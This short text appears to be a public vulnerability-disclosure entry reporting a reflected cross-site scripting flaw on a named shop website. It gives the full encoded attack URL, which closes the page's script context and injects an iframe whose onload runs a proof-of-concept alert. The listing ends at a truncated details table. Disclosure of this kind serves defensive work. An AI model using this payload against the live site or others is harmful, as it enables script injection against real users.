mounteqshop.be XSS vulnerability

Vulnerable URL: http://www.mounteqshop.be/site/error.php?url=http%3A%2F%2Fwww.mounteqshop.be%2Fnl%2Fadvancedsearch.htm%3Faction%3Dsearch%26%253Ciframestyle%3D%26pagnr%3D1%26ppp%3Dalles=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|---...